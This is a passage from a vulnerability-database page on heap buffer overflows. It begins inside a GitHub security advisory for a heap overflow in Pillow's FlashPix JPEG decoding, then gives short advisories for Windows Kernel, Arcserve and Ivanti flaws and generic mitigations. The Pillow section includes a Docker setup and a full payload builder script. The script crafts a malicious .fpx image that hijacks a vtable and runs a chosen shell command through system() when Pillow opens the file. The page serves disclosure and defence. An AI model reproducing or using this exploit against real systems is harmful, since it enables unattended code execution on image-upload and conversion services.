`id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.\n\n### Impact\n\nThis is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.\n\n### Annex A: Docker setup\n\nThe PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image\u0027s entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker\u0027s default seccomp profile blocks. Run only on infrastructure you own.\n\n**1. Build the image.** Put `vulnerable.py` (PoC) and `make_payload.py`\n([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`:\n\n```dockerfile\nFROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        ca-certificates \\\n        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN python3.12 -m venv /opt/v \\\n    \u0026\u0026 /opt/v/bin/pip install --no-cache-dir \"Pillow==12.2.0\" \"olefile==0.47\"\nENV PATH=/opt/v/bin:$PATH\nWORKDIR /poc\n# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.\nENTRYPOINT [\"setarch\", \"-R\"]\nCMD [\"bash\"]\n```\n\n```console\n$ docker build -t fjpeg1-poc .\n...\nDownloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)\nSuccessfully installed Pillow-12.2.0 olefile-0.47\nSuccessfully built 370344c832b6\nSuccessfully tagged fjpeg1-poc:latest\n```\n\n**2. Start the (ASLR-disabled) container shell** with the scripts mounted:\n\n```sh\ndocker run --rm -it --security-opt seccomp=unconfined -v \"$PWD:/poc\" -w /poc fjpeg1-poc\n```\n\n### Annex B: payload builder source\n\n`make_payload.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).\nBuilds an .fpx whose embedded 4-component JPEG, decoded via Pillow\u0027s FpxImagePlugin -\u003e JCS_UNKNOWN\npath, overflows the 2-byte/px decode buffer and overwrites an adjacent object\u0027s ob_type.\n  --crash      flood an adjacent ob_type with 0x42.. -\u003e SIGSEGV in PyBuffer_Release\n  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -\u003e call *--target\nDefaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.\"\"\"\nimport sys, io, struct, math, argparse\nfrom PIL import Image\n\nW, H = 65000, 2\nSECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748\nFREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF\nFPX_CLSID = bytes.fromhex(\"0067615654C1CE11855300AA00A1F95B\")\no32 = lambda v: struct.pack(\"\u003cI\", v)\np64 = lambda v: struct.pack(\"\u003cQ\", v)\nINV = bytes(255 - i for i in range(256))   # 8-bit inversion table\n\ndef jpeg(src):\n    b = io.BytesIO()\n    Image.frombytes(\"CMYK\", (W, H), bytes(src)).save(b, \"JPEG\", quality=100, subsampling=0)\n    return b.getvalue()\n\ndef decode_row(jpg):\n    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits\n    # the raw JPEG components R, while Pillow\u0027s own CMYK decode of the same file returns 255 - R\n    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The\n    # last decoded row is the one that lands in (and overflows past) the buffer.\n    px = Image.open(io.BytesIO(jpg)).tobytes()\n    return px[(H - 1) * W * 4:].translate(INV)\n\ndef craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -\u003e iterate to converge)\n    # base fill 0xBD -\u003e decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern\n    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).\n    src = bytearray(b\"\\xbd\" * (W * H * 4)); base = (H - 1) * W * 4; it = 0\n    for off, t in targets:\n        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v\n    for it in range(iters):\n        dec = decode_row(jpeg(src)); bad = 0\n        for off, t in targets:\n            for i, v in enumerate(t):\n                if dec[off + i] != v:\n                    bad += 1\n                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))\n        if not bad: break\n    return jpeg(src), it, bad\n\ndef maxid_for(w, h):\n    s, i = max(w, h), 1\n    while s \u003e 64: s //= 2; i += 1\n    return i - 1\nMAXID = maxid_for(W, H); RESNAME = \"Resolution %04d\" % MAXID\n\ndef image_contents():\n    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b\n    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -\u003e rawmode \"LA\"\n    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID \u003c\u003c 16), blob(cb))]\n    voff = 8 + 8 * len(props); idx = vals = b\"\"\n    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)\n    body = o32(len(props)) + idx + vals\n    return (struct.pack(\"\u003cHHI\", 0xFFFE, 0, 0x00020005) + b\"\\x00\" * 16 + o32(1) + b\"\\x00\" * 16\n            + o32(48) + o32(len(body) + 4) + body)\n\ndef subimage_header():\n    b = bytearray(80)\n    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),\n                 (56, 36), (60, 16), (64, 0), (72, 2)]:\n        struct.pack_into(\"\u003cI\", b, o, v)\n    return bytes(b)\n\ndef build_fpx(jpg, out):\n    data = b\"\\x00\" * 28 + jpg\n    assert len(data) \u003c= DATA_PAD, (len(data), DATA_PAD)\n    pad = lambda x: x + b\"\\x00\" * ((-len(x)) % SECT)\n    sd = {\"ic\": pad(image_contents().ljust(4096, b\"\\x00\")),\n          \"hdr\": pad(subimage_header().ljust(4096, b\"\\x00\")),\n          \"dat\": pad(data.ljust(DATA_PAD, b\"\\x00\"))}\n    ns = lambda x: len(x) // SECT; order = [\"ic\", \"dat\", \"hdr\"]\n    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)\n    fsec = 1\n    while fsec * 128 \u003c fsec + content: fsec += 1\n    pos = {}; cur = fsec; dstart = cur; cur += dsec\n    for k in order: pos[k] = cur; cur += ns(sd[k])\n    total = cur\n    fat = [FREESECT] * (fsec * 128)\n    for s in range(fsec): fat[s] = FATSECT\n    def chain(a, n):\n        for j in range(n): fat[a + j] = a + j + 1 if j \u003c n - 1 else ENDOFCHAIN\n    chain(dstart, dsec)\n    for k in order: chain(pos[k], ns(sd[k]))\n    def de(nm, t, ch, l, r, st, sz, cl=b\"\\x00\" * 16):\n        n = (nm.encode(\"utf-16-le\") + b\"\\x00\\x00\").ljust(64, b\"\\x00\")[:64]\n        return (n + struct.pack(\"\u003cHBB\", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)\n                + o32(ch) + cl + o32(0) + b\"\\x00\" * 16 + o32(st) + struct.pack(\"\u003cQ\", sz))\n    directory = pad(b\"\".join([\n        de(\"Root Entry\", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),\n        de(\"Data Object Store 000001\", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"\\x05Image Contents\", 2, NOSTREAM, NOSTREAM, 3, pos[\"ic\"], len(sd[\"ic\"])),\n        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"Subimage 0000 Data\", 2, NOSTREAM, NOSTREAM, 5, pos[\"dat\"], len(sd[\"dat\"])),\n        de(\"Subimage 0000 Header\", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos[\"hdr\"], len(sd[\"hdr\"]))]))\n    h = bytearray(512); h[0:8] = bytes.fromhex(\"D0CF11E0A1B11AE1\")\n    for o, fmt, *v in [(24, \"\u003cHH\", 0x3E, 3), (28, \"\u003cH\", 0xFFFE), (30, \"\u003cHH\", 9, 6), (44, \"\u003cI\", fsec),\n                       (48, \"\u003cI\", dstart), (56, \"\u003cI\", 4096), (60, \"\u003cI\", ENDOFCHAIN), (68, \"\u003cI\", ENDOFCHAIN)]:\n        struct.pack_into(fmt, h, o, *v)\n    for i in range(109): struct.pack_into(\"\u003cI\", h, 76 + i * 4, i if i \u003c fsec else FREESECT)\n    secs = [b\"\"] * total\n    for s in range(fsec): secs[s] = b\"\".join(o32(x) for x in fat[s * 128:(s + 1) * 128])\n    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]\n    for k in order:\n        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]\n    open(out, \"wb\").write(bytes(h) + b\"\".join(secs))\n\ndef xhex(s): return int(s, 16)\n\nSYSTEM_PLT = 0x4206c0   # system@plt in the image\u0027s non-PIE python3.12 (fixed, no libc leak)\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"F-JPEG-1 .fpx payload builder (0-ASLR box)\")\n    ap.add_argument(\"--out\", required=True, help=\"output .fpx path\")\n    ap.add_argument(\"--crash\", action=\"store_true\",\n                    help=\"crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)\")\n    ap.add_argument(\"--heap-base\", type=xhex, default=0xbaa000,\n                    help=\"fixed heap base of the 0-ASLR box (default 0xbaa000)\")\n    ap.add_argument(\"--offset\", type=xhex, default=0x21e800,\n                    help=\"state-\u003ebuffer - heap_base (default 0x21e800 -\u003e S=0xdc8800)\")\n    ap.add_argument(\"--target\", type=xhex, default=SENTINEL,\n                    help=\"value called via the hijacked vtable; pass %#x (system@plt) for \"\n                         \"command execution (default is a sentinel for an RIP-control demo)\" % SYSTEM_PLT)\n    ap.add_argument(\"--cmd\", default=\"id\",\n                    help=\"command system() runs, written inline at obj+0 / rdi (\u003c=7 bytes, e.g. id, id;w)\")\n    a = ap.parse_args()\n\n    if a.crash:\n        # Pillow\u0027s CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD\n        # to make the decoded overflow bytes 0x42 -\u003e the adjacent ob_type becomes 0x4242424242424242.\n        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)\n        print(\"[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 \"\n              \"-\u003e SIGSEGV in PyBuffer_Release (no addresses)\" % a.out)\n        return\n\n    if len(a.cmd.encode()) \u003e 7:\n        sys.exit(\"--cmd must be \u003c=7 bytes (it is written inline at obj+0, before ob_type)\")\n    S = a.heap_base + a.offset\n    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET\n    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),\n          (OB_TYPE_OFF - 8, a.cmd.encode() + b\"\\x00\")]      # obj+0 -\u003e rdi for system()\n    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -\u003e spray B at +0xa0..+8\n    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]\n    jpg, it, bad = craft(tg)\n    build_fpx(jpg, a.out)\n    print(\"[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d\"\n          % (a.out, S, a.target, a.cmd, it, bad))\n    print(\"[control] opening it: vtable hijack -\u003e call *%#x with rdi -\u003e %r\" % (a.target, a.cmd))\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-5x8w-8jj5-q52h",
  "modified": "2026-10-23T21:55:21Z",
  "published": "2026-10-23T21:55:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112398"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution"
}

GHSA-5XJR-6VJM-XC96

Vulnerability from github – Published: 2025-05-13 18:30 – Updated: 2025-05-13 18:30
VLAI
Details

Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T17:15:51Z",
    "severity": "HIGH"
  },
  "details": "Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-5xjr-6vjm-xc96",
  "modified": "2025-05-13T18:30:54Z",
  "published": "2025-05-13T18:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24063"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24063"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XJX-J6C2-6GHQ

Vulnerability from github – Published: 2025-08-28 00:30 – Updated: 2025-09-09 15:31
VLAI
Details

A heap-based buffer overflow vulnerability exists in the exists in the network-facing input handling routines of Arcserve Unified Data Protection (UDP). This flaw is reachable without authentication and results from improper bounds checking when processing attacker-controlled input. By sending specially crafted data, a remote attacker can corrupt heap memory, potentially causing a denial of service or enabling arbitrary code execution depending on the memory layout and exploitation techniques used. This vulnerability is similar in nature to CVE-2025-34522 but affects a separate code path or component. No user interaction is required, and exploitation occurs in the context of the vulnerable process. This vulnerability affects all UDP versions prior to 10.2. UDP 10.2 includes the necessary patches and requires no action. Versions 8.0 through 10.1 are supported and require either patch application or upgrade to 10.2. Versions 7.x and earlier are unsupported or out of maintenance and must be upgraded to 10.2 to remediate the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-34523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-27T22:15:58Z",
    "severity": "CRITICAL"
  },
  "details": "A heap-based buffer overflow vulnerability exists in the exists in the network-facing input handling routines of Arcserve Unified Data Protection (UDP). This flaw is reachable without authentication and results from improper bounds checking when processing attacker-controlled input. By sending specially crafted data, a remote attacker can corrupt heap memory, potentially causing a denial of service or enabling arbitrary code execution depending on the memory layout and exploitation techniques used. This vulnerability is similar in nature to CVE-2025-34522 but affects a separate code path or component. No user interaction is required, and exploitation occurs in the context of the vulnerable process. This vulnerability affects all UDP versions prior to 10.2. UDP 10.2 includes the necessary patches and requires no action. Versions 8.0 through 10.1 are supported and require either patch application or upgrade to 10.2. Versions 7.x and earlier are unsupported or out of maintenance and must be upgraded to 10.2 to remediate the issue.",
  "id": "GHSA-5xjx-j6c2-6ghq",
  "modified": "2025-09-09T15:31:17Z",
  "published": "2025-08-28T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34523"
    },
    {
      "type": "WEB",
      "url": "https://support.arcserve.com/s/article/Important-Security-Bulletin-Must-read-for-all-Arcserve-UDP-customers-on-all-versions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5XM4-9P77-7MJP

Vulnerability from github – Published: 2024-04-19 03:31 – Updated: 2025-05-06 15:30
VLAI
Details

A Heap Overflow vulnerability in WLAvalancheService component of Ivanti Avalanche before 6.4.3 allows a remote unauthenticated attacker to execute arbitrary commands

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-29204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-19T02:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "A Heap Overflow vulnerability in WLAvalancheService component of Ivanti Avalanche before 6.4.3 allows a remote unauthenticated attacker to execute arbitrary commands",
  "id": "GHSA-5xm4-9p77-7mjp",
  "modified": "2025-05-06T15:30:47Z",
  "published": "2024-04-19T03:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29204"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Avalanche-6-4-3-Security-Hardening-and-CVEs-addressed?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Pre-design: Use a language or compiler that performs automatic bounds checking.

Mitigation
Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation
Implementation

Implement and perform bounds checking on input.

Mitigation
Implementation

Strategy: Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Mitigation
Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

CAPEC-92: Forced Integer Overflow

This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.